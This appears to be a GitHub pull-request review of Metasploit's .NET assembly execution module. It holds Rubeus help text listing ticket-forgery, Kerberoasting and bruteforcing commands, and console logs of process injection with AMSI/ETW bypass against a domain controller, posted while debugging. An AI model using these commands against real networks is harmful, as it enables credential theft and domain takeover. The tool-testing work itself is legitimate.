        Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/oldsam] [/proxyurl:https://KDC_PROXY/kdcproxy]

    Retrieve a TGT based on a user password/hash, start a /netonly process, and to apply the ticket to the new process/logon session:
        Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/opsec] [/nopac] [/oldsam] [/proxyurl:https://KDC_PROXY/kdcproxy]

    Retrieve a TGT using a PCKS12 certificate, start a /netonly process, and to apply the ticket to the new process/logon session:
        Rubeus.exe asktgt /user:USER /certificate:C:\temp\leaked.pfx </password:STOREPASSWORD> /createnetonly:C:\Windows\System32\cmd.exe [/getcredentials] [/servicekey:KRBTGTKEY] [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy]

    Retrieve a TGT using a certificate from the users keystore (Smartcard) specifying certificate thumbprint or subject, start a /netonly process, and to apply the ticket to the new process/logon session:
        Rubeus.exe asktgt /user:USER /certificate:f063e6f4798af085946be6cd9d82ba3999c7ebac /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap]

    Request a TGT without sending pre-auth data:
        Rubeus.exe asktgt /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy]

    Request a service ticket using an AS-REQ:
        Rubeus.exe asktgt /user:USER /service:SPN </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/oldsam] [/proxyurl:https://KDC_PROXY/kdcproxy]

    Retrieve a service ticket for one or more SPNs, optionally saving or applying the ticket:
        Rubeus.exe asktgs </ticket:BASE64 | /ticket:FILE.KIRBI> </service:SPN1,SPN2,...> [/enctype:DES|RC4|AES128|AES256] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/enterprise] [/opsec] </tgs:BASE64 | /tgs:FILE.KIRBI> [/targetdomain] [/u2u] [/targetuser] [/servicekey:PASSWORDHASH] [/asrepkey:ASREPKEY] [/proxyurl:https://KDC_PROXY/kdcproxy]

    Renew a TGT, optionally applying the ticket, saving it, or auto-renewing the ticket up to its renew-till limit:
        Rubeus.exe renew </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/autorenew] [/nowrap]

    Perform a Kerberos-based password bruteforcing attack:
        Rubeus.exe brute </password:PASSWORD | /passwords:PASSWORDS_FILE> [/user:USER | /users:USERS_FILE] [/domain:DOMAIN] [/creduser:DOMAIN\\USER & /credpassword:PASSWORD] [/ou:ORGANIZATION_UNIT] [/dc:DOMAIN_CONTROLLER] [/outfile:RESULT_PASSWORD_FILE] [/noticket] [/verbose] [/nowrap]

    Perform a scan for account that do not require pre-authentication:
        Rubeus.exe preauthscan /users:C:\temp\users.txt [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/proxyurl:https://KDC_PROXY/kdcproxy]


 Constrained delegation abuse:

    Perform S4U constrained delegation abuse:
        Rubeus.exe s4u </ticket:BASE64 | /ticket:FILE.KIRBI> </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] [/self] [/proxyurl:https://KDC_PROXY/kdcproxy]
        Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] [/self] [/bronzebit] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy]

    Perform S4U constrained delegation abuse across domains:
        Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER /targetdomain:DOMAIN.LOCAL /targetdc:DC.DOMAIN.LOCAL [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/self] [/nopac]


 Ticket Forgery:

    Forge a golden ticket using LDAP to gather the relevent information:
        Rubeus.exe golden </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> /ldap [/printcmd] [outfile:FILENAME] [/ptt]

    Forge a golden ticket using LDAP to gather the relevent information but explicitly overriding some values:
        Rubeus.exe golden </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> /ldap [/dc:DOMAIN_CONTROLLER] [/domain:DOMAIN] [/netbios:NETBIOS_DOMAIN] [/sid:DOMAIN_SID] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/newpac] [/printcmd] [outfile:FILENAME] [/ptt]

    Forge a golden ticket, setting values explicitly:
        Rubeus.exe golden </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </domain:DOMAIN> </sid:DOMAIN_SID> [/dc:DOMAIN_CONTROLLER] [/netbios:NETBIOS_DOMAIN] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/newpac] [/printcmd] [outfile:FILENAME] [/ptt]

    Forge a silver ticket using LDAP to gather the relevent information:
        Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap [/printcmd] [outfile:FILENAME] [/ptt]

    Forge a silver ticket using LDAP to gather the relevent information, using the KRBTGT key to calculate the KDCChecksum and TicketChecksum:
        Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap </krbkey:HASH> [/krbenctype:DES|RC4|AES128|AES256] [/printcmd] [outfile:FILENAME] [/ptt]

    Forge a silver ticket using LDAP to gather the relevent information but explicitly overriding some values:
        Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap [/dc:DOMAIN_CONTROLLER] [/domain:DOMAIN] [/netbios:NETBIOS_DOMAIN] [/sid:DOMAIN_SID] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/authdata] [/printcmd] [outfile:FILENAME] [/ptt]

    Forge a silver ticket using LDAP to gather the relevent information and including an S4UDelegationInfo PAC section:
        Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap [/s4uproxytarget:TARGETSPN] [/s4utransitedservices:SPN1,SPN2,...] [/printcmd] [outfile:FILENAME] [/ptt]

    Forge a silver ticket using LDAP to gather the relevent information and setting a different cname and crealm:
        Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap [/cname:CLIENTNAME] [/crealm:CLIENTDOMAIN] [/printcmd] [outfile:FILENAME] [/ptt]

    Forge a silver ticket, setting values explicitly:
        Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> </domain:DOMAIN> </sid:DOMAIN_SID> [/dc:DOMAIN_CONTROLLER] [/netbios:NETBIOS_DOMAIN] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/authdata] [/cname:CLIENTNAME] [/crealm:CLIENTDOMAIN] [/s4uproxytarget:TARGETSPN] [/s4utransitedservices:SPN1,SPN2,...] [/printcmd] [outfile:FILENAME] [/ptt]

    Forge a diamond TGT by requesting a TGT based on a user password/hash:
        Rubeus.exe diamond /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/createnetonly:C:\Windows\System32\cmd.exe] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/krbkey:HASH] [/ticketuser:USERNAME] [/ticketuserid:USER_ID] [/groups:GROUP_IDS] [/sids:EXTRA_SIDS]
    
    Forge a diamond TGT by requesting a TGT using a PCKS12 certificate:
        Rubeus.exe diamond /user:USER /certificate:C:\temp\leaked.pfx </password:STOREPASSWORD> [/createnetonly:C:\Windows\System32\cmd.exe] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/krbkey:HASH] [/ticketuser:USERNAME] [/ticketuserid:USER_ID] [/groups:GROUP_IDS] [/sids:EXTRA_SIDS]
    
     Forge a diamond TGT by requesting a TGT using tgtdeleg:
        Rubeus.exe diamond /tgtdeleg [/createnetonly:C:\Windows\System32\cmd.exe] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/krbkey:HASH] [/ticketuser:USERNAME] [/ticketuserid:USER_ID] [/groups:GROUP_IDS] [/sids:EXTRA_SIDS]


 Ticket management:

    Submit a TGT, optionally targeting a specific LUID (if elevated):
        Rubeus.exe ptt </ticket:BASE64 | /ticket:FILE.KIRBI> [/luid:LOGINID]

    Purge tickets from the current logon session, optionally targeting a specific LUID (if elevated):
        Rubeus.exe purge [/luid:LOGINID]

    Parse and describe a ticket (service ticket or TGT):
        Rubeus.exe describe </ticket:BASE64 | /ticket:FILE.KIRBI> [/servicekey:HASH] [/krbkey:HASH] [/asrepkey:HASH] [/serviceuser:USERNAME] [/servicedomain:DOMAIN]


 Ticket extraction and harvesting:

    Triage all current tickets (if elevated, list for all users), optionally targeting a specific LUID, username, or service:
        Rubeus.exe triage [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM]

    List all current tickets in detail (if elevated, list for all users), optionally targeting a specific LUID:
        Rubeus.exe klist [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM]

    Dump all current ticket data (if elevated, dump for all users), optionally targeting a specific service/LUID:
        Rubeus.exe dump [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM] [/nowrap]

    Retrieve a usable TGT .kirbi for the current user (w/ session key) without elevation by abusing the Kerberos GSS-API, faking delegation:
        Rubeus.exe tgtdeleg [/target:SPN]

    Monitor every /interval SECONDS (default 60) for new TGTs:
        Rubeus.exe monitor [/interval:SECONDS] [/targetuser:USER] [/nowrap] [/registry:SOFTWARENAME] [/runfor:SECONDS]

    Monitor every /monitorinterval SECONDS (default 60) for new TGTs, auto-renew TGTs, and display the working cache every /displayinterval SECONDS (default 1200):
        Rubeus.exe harvest [/monitorinterval:SECONDS] [/displayinterval:SECONDS] [/targetuser:USER] [/nowrap] [/registry:SOFTWARENAME] [/runfor:SECONDS]


 Roasting:

    Perform Kerberoasting:
        Rubeus.exe kerberoast [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/nowrap]

    Perform Kerberoasting, outputting hashes to a file:
        Rubeus.exe kerberoast /outfile:hashes.txt [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps]

    Perform Kerberoasting, outputting hashes in the file output format, but to the console:
        Rubeus.exe kerberoast /simple [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/nowrap]

    Perform Kerberoasting with alternate credentials:
        Rubeus.exe kerberoast /creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD [/spn:"blah/blah"] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/nowrap]

    Perform Kerberoasting with an existing TGT:
        Rubeus.exe kerberoast </spn:"blah/blah" | /spns:C:\temp\spns.txt> </ticket:BASE64 | /ticket:FILE.KIRBI> [/nowrap]

    Perform Kerberoasting with an existing TGT using an enterprise principal:
        Rubeus.exe kerberoast </spn:user@domain.com | /spns:user1@domain.com,user2@domain.com> /enterprise </ticket:BASE64 | /ticket:FILE.KIRBI> [/nowrap]

    Perform Kerberoasting with an existing TGT and automatically retry with the enterprise principal if any fail:
        Rubeus.exe kerberoast </ticket:BASE64 | /ticket:FILE.KIRBI> /autoenterprise [/ldaps] [/nowrap]

    Perform Kerberoasting using the tgtdeleg ticket to request service tickets - requests RC4 for AES accounts:
        Rubeus.exe kerberoast /usetgtdeleg [/ldaps] [/nowrap]

    Perform "opsec" Kerberoasting, using tgtdeleg, and filtering out AES-enabled accounts:
        Rubeus.exe kerberoast /rc4opsec [/ldaps] [/nowrap]

    List statistics about found Kerberoastable accounts without actually sending ticket requests:
        Rubeus.exe kerberoast /stats [/ldaps] [/nowrap]

    Perform Kerberoasting, requesting tickets only for accounts with an admin count of 1 (custom LDAP filter):
        Rubeus.exe kerberoast /ldapfilter:'admincount=1' [/ldaps] [/nowrap]

    Perform Kerberoasting, requesting tickets only for accounts whose password was last set between 01-31-2005 and 03-29-2010, returning up to 5 service tickets:
        Rubeus.exe kerberoast /pwdsetafter:01-31-2005 /pwdsetbefore:03-29-2010 /resultlimit:5 [/ldaps] [/nowrap]

    Perform Kerberoasting, with a delay of 5000 milliseconds and a jitter of 30%:
        Rubeus.exe kerberoast /delay:5000 /jitter:30 [/ldaps] [/nowrap]

    Perform AES Kerberoasting:
        Rubeus.exe kerberoast /aes [/ldaps] [/nowrap]

    Perform Kerberoasting using an account without pre-auth by sending AS-REQ's:
        Rubeus.exe kerberoast </spn:"blah/blah" | /spns:C:\temp\spns.txt> /preauth:USER /domain:DOMAIN [/dc:DOMAIN_CONTROLLER] [/nowrap]

    Perform AS-REP "roasting" for any users without preauth:
        Rubeus.exe asreproast [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/nowrap]

    Perform AS-REP "roasting" for any users without preauth, outputting Hashcat format to a file:
        Rubeus.exe asreproast /outfile:hashes.txt /format:hashcat [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps]

    Perform AS-REP "roasting" for any users without preauth using alternate credentials:
        Rubeus.exe asreproast /creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU,..."] [/ldaps] [/nowrap]


 Miscellaneous:

    Create a hidden program (unless /show is passed) with random (or user-defined) /netonly credentials, displaying the PID and LUID:
        Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" [/show] [/username:USERNAME] [/domain:DOMAIN] [/password:PASSWORD]

    Reset a user's password from a supplied TGT (AoratoPw):
        Rubeus.exe changepw </ticket:BASE64 | /ticket:FILE.KIRBI> /new:PASSWORD [/dc:DOMAIN_CONTROLLER] [/targetuser:DOMAIN\USERNAME]

    Calculate rc4_hmac, aes128_cts_hmac_sha1, aes256_cts_hmac_sha1, and des_cbc_md5 hashes:
        Rubeus.exe hash /password:X [/user:USER] [/domain:DOMAIN]

    Substitute an sname or SPN into an existing service ticket:
        Rubeus.exe tgssub </ticket:BASE64 | /ticket:FILE.KIRBI> /altservice:ldap [/ptt] [/luid] [/nowrap]
        Rubeus.exe tgssub </ticket:BASE64 | /ticket:FILE.KIRBI> /altservice:cifs/computer.domain.com [/ptt] [/luid] [/nowrap]
    
    Display the current user's LUID:
        Rubeus.exe currentluid

    Display information about the (current) or (target) logon session, default all readable:
        Rubeus.exe logonsession [/current] [/luid:X]

    The "/consoleoutfile:C:\FILE.txt" argument redirects all console output to the file specified.

    The "/nowrap" flag prevents any base64 ticket blobs from being column wrapped for any function.

    The "/debug" flag outputs ASN.1 debugging information.


 NOTE: Base64 ticket blobs can be decoded with :

    [IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("aa..."))


[*] End output.
[+] Execution finished.
[*] Post module execution completed
msf6 post(windows/manage/execute_dotnet_assembly) > run technique=SPAWN_AND_INJECT

[*] Dot Net Versions installed on target: ["2.0.50727.4927", "3.0.30729.4926", "3.5.30729.4926", "4.7.03190", "4.0.0.0"]
[*] CLR version required: v4.0.30319
[*] Requirements ok
[*] Running module against DC
[*] Launching notepad.exe to host CLR...
[*] 192.168.159.10 - Meterpreter session 7 closed.  Reason: Died

Incorrect Argument Count

In this test I used this small harness to sleep to allow me to check the PPID and injection settings. While testing this I noticed that the number of arguments was inconsistent with what I was expecting. I would have though the number would have been reported as 2 and then the argument 1 would have been used as the number of seconds to sleep but the number of arguments was reported as 41.

I tracked this down to my use of Environment.GetCommandLineArgs() instead of the args passed directly to Main. Once I fixed that, this started working as expected.

  • Compile the testing tool (source included below)
  • Run it with ARGUMENTS=1
  • See that the argument isn't used as the number of seconds to sleep
Testing C# Tool
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Text;
using System.Threading;
using System.Threading.Tasks;

namespace ConsoleApp1
{
    internal class Program
    {
        static void Main(string[] args)
        {
            int sleepSeconds = 3;
            if (args.Length == 1)
            {
                sleepSeconds = int.Parse(args[0]);
            }
            Console.WriteLine("Hello, world from PID: " + Process.GetCurrentProcess().Id.ToString() + " Args: " + args.Length.ToString());
            Console.WriteLine("Sleeping for " + sleepSeconds.ToString() + " seconds...");
            Thread.Sleep(sleepSeconds * 1000);
            Console.WriteLine("Done. Good bye!");
        }
    }
}
Testing C# Tool (broken)
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Text;
using System.Threading;
using System.Threading.Tasks;

namespace ConsoleApp1
{
    internal class Program
    {
        static void Main(string[] args)
        {
            int sleepSeconds = 3;
            string[] arguments = Environment.GetCommandLineArgs();
            if (arguments.Length == 2)
            {
                sleepSeconds = int.Parse(arguments[1]);
            }
            Console.WriteLine("Hello, world from PID: " + Process.GetCurrentProcess().Id.ToString() + " Args: " + arguments.Length.ToString());
            Console.WriteLine("Sleeping for " + sleepSeconds.ToString() + " seconds...");
            Thread.Sleep(sleepSeconds * 1000);
            Console.WriteLine("Done. Good bye!");
        }
    }
}
Testing Output In the following output, you'll that `ARGUMENTS` has been set to 1 but the number of arguments is reported as 41 instead of 2.
msf6 post(windows/manage/execute_dotnet_assembly) > show options 

Module options (post/windows/manage/execute_dotnet_assembly):

   Name        Current Setting                            Required  Description
   ----        ---------------                            --------  -----------
   AMSIBYPASS  true                                       yes       Enable AMSI bypass
   ARGUMENTS   1                                          no        Command line arguments
   DOTNET_EXE  /home/smcintyre/Downloads/ConsoleApp1.exe  yes       Assembly file name
   ETWBYPASS   true                                       yes       Enable ETW bypass
   SESSION     -1                                         yes       The session to run this module on
   Signature   Main(string[])                             yes       The Main function signature (Accepted: Automatic, Main(), Main(string[]))
   TECHNIQUE   SELF                                       yes       Technique for executing assembly (Accepted: SELF, INJECT, SPAWN_AND_INJECT)


   When TECHNIQUE is SPAWN_AND_INJECT:

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   PPID                             no        Process Identifier for PPID spoofing when creating a new process (no PPID spoofing if unset)
   PROCESS         notepad.exe      no        Process to spawn
   USETHREADTOKEN  true             no        Spawn process using the current thread impersonation


   When TECHNIQUE is INJECT:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------
   PID                    no        PID to inject into


View the full module info with the info, or info -d command.

msf6 post(windows/manage/execute_dotnet_assembly) > run

[*] Dot Net Versions installed on target: ["2.0.50727.4927", "3.0.30729.4926", "3.5.30729.4926", "4.7.03190", "4.0.0.0"]
[*] CLR version required: v4.0.30319
[*] Requirements ok
[*] Running module against DC
[*] Opening handle to process 1200...
[+] Handle opened
[*] Reflectively injecting the Host DLL into 1200..
[*] Injecting Host into 1200...
[*] Connecting with CLR via \\.\pipe\WJcbOx2d
[*] Running in new AppDomain: YqzWaCFYC
[*] Host injected. Copy assembly into 1200...
[*] Assembly copied.
[*] Executing...
[*] Start reading output
[*] Writing output to /home/smcintyre/.msf4/logs/dotnet/log_ConsoleApp1.exe_20230623130812
Hello, world from PID: 1200 Args: 41
Sleeping for 3 seconds...
Done. Good bye!
[*] End output.
[+] Execution finished.
[*] Post module execution completed

Stack Traces On Access Denied When Spawning Processes

I was getting multiple stack traces from uncaught exceptions in stdapi_sys_process_kill when I was spawning processes.

Testing Output
msf6 post(windows/manage/execute_dotnet_assembly) > set PROCESS calc.exe
PROCESS => calc.exe
msf6 post(windows/manage/execute_dotnet_assembly) > set TECHNIQUE SPAWN_AND_INJECT 
TECHNIQUE => SPAWN_AND_INJECT
msf6 post(windows/manage/execute_dotnet_assembly) > run

[*] Dot Net Versions installed on target: ["2.0.50727.4927", "3.0.30729.4926", "3.5.30729.4926", "4.7.03190", "4.0.0.0"]
[*] CLR version required: v4.0.30319
[*] Requirements ok
[*] Running module against DC
[*] Spoofing PPID 3448
[*] Launching calc.exe to host CLR...
[+] Process 7856 launched.
[-] Post aborted due to failure: bad-config: PID not found
[+] Killing process 7856
[-] Post failed: Rex::Post::Meterpreter::RequestError stdapi_sys_process_kill: Operation failed: Access is denied.
[-] Call stack:
[-]   /home/smcintyre/Repositories/metasploit-framework.pr/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb:235:in `kill'
[-]   /home/smcintyre/Repositories/metasploit-framework.pr/modules/post/windows/manage/execute_dotnet_assembly.rb:154:in `cleanup'
msf6 post(windows/manage/execute_dotnet_assembly) > set PROCESS explorer.exe
PROCESS => explorer.exe
msf6 post(windows/manage/execute_dotnet_assembly) > run

[*] Dot Net Versions installed on target: ["2.0.50727.4927", "3.0.30729.4926", "3.5.30729.4926", "4.7.03190", "4.0.0.0"]
[*] CLR version required: v4.0.30319
[*] Requirements ok
[*] Running module against DC
[*] Spoofing PPID 3448
[*] Launching explorer.exe to host CLR...
[+] Process 4276 launched.
[*] Reflectively injecting the Host DLL into 4276..
[*] Injecting Host into 4276...
[-] Post failed: Rex::Post::Meterpreter::RequestError stdapi_sys_process_memory_write: Operation failed: Access is denied.
[-] Call stack:
[-]   /home/smcintyre/Repositories/metasploit-framework.pr/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/memory.rb:175:in `write'
[-]   /home/smcintyre/Repositories/metasploit-framework.pr/lib/msf/core/post/windows/reflective_dll_injection.rb:50:in `inject_into_process'
[-]   /home/smcintyre/Repositories/metasploit-framework.pr/lib/msf/core/post/windows/reflective_dll_injection.rb:66:in `inject_dll_into_process'
[-]   /home/smcintyre/Repositories/metasploit-framework.pr/modules/post/windows/manage/execute_dotnet_assembly.rb:216:in `inject_hostclr_dll'
[-]   /home/smcintyre/Repositories/metasploit-framework.pr/modules/post/windows/manage/execute_dotnet_assembly.rb:265:in `execute_assembly'
[-]   /home/smcintyre/Repositories/metasploit-framework.pr/modules/post/windows/manage/execute_dotnet_assembly.rb:148:in `run'
[+] Killing process 4276
[-] Post failed: Rex::Post::Meterpreter::RequestError stdapi_sys_process_kill: Operation failed: Access is denied.
[-] Call stack:
[-]   /home/smcintyre/Repositories/metasploit-framework.pr/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb:235:in `kill'
[-]   /home/smcintyre/Repositories/metasploit-framework.pr/modules/post/windows/manage/execute_dotnet_assembly.rb:154:in `cleanup'
msf6 post(windows/manage/execute_dotnet_assembly) > 

There's this one here too when the target executable doesn't exist:

run PROCESS=doesnotexist.exe KILL=true

[*] Dot Net Versions installed on target: ["2.0.50727.4927", "3.0.30729.4926", "3.5.30729.4926", "4.7.03190", "4.0.0.0"]
[*] CLR version required: v4.0.30319
[*] Requirements ok
[*] Running module against DC
[*] Launching doesnotexist.exe to host CLR...
[-] Post failed: Rex::Post::Meterpreter::RequestError stdapi_sys_process_execute: Operation failed: The system cannot find the file specified.
[-] Call stack:
[-]   /home/smcintyre/Repositories/metasploit-framework.pr/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb:176:in `execute'
[-]   /home/smcintyre/Repositories/metasploit-framework.pr/modules/post/windows/manage/execute_dotnet_assembly.rb:196:in `launch_process'
[-]   /home/smcintyre/Repositories/metasploit-framework.pr/modules/post/windows/manage/execute_dotnet_assembly.rb:249:in `execute_assembly'
[-]   /home/smcintyre/Repositories/metasploit-framework.pr/modules/post/windows/manage/execute_dotnet_assembly.rb:148:in `run'
[*] Post module execution completed

@jheysel-r7
Copy link
Contributor

jheysel-r7 commented Jun 23, 2023

I did some testing on a 64-bit Windows 2016 (10.0 Build 14393) target and found the issue below. SeatBelt.exe was built with a target framework of 3.5.

Fails when attempting to copy the assembly

Steps to reproduce:

  • Obtain a session
  • Run with ARGUMENTS=user, TECHNIQUE=SELF, DOTNET_EXE=/your/output/folder/SeatBelt.exe
msf6 post(windows/manage/execute_dotnet_assembly) > options

Module options (post/windows/manage/execute_dotnet_assembly):

   Name        Current Setting                                          Required  Description
   ----        ---------------                                          --------  -----------
   AMSIBYPASS  true                                                     yes       Enable AMSI bypass
   ARGUMENTS                                                            no        Command line arguments
